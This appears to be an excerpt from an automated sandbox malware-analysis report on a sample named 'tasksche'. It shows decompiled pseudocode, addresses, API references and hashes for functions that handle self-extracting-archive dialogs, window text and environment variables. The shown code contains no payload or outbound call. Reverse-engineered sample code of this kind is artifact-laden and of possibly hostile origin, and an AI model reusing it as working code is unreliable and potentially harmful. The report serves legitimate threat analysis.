										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bceb
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

a, xrefs: 0040BD82
*messages***, xrefs: 0040BD39
*messages***, xrefs: 0040BD6B

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: 1a9ca6dc8db46cfee423a6b4368b275e1d5205f11fd4c929fa454fa1977dd7ec
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: 1a9ca6dc8db46cfee423a6b4368b275e1d5205f11fd4c929fa454fa1977dd7ec
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(00401BB7,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(00401BB7,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(00401BB7,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(00401BB7,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(00401BB7,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(00401BB7,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(00401BB7,000000C2,00000000,0042A810), ref: 0040D3A3

Part of subcall function 0041918B: DestroyWindow.USER32(?,76D7BB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched32.dll, xrefs: 0041A076
riched20.dll, xrefs: 0041A07D

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(L"sfxpar", _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxcmd, xrefs: 0040D60B
sfxpar, xrefs: 0040D63E

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
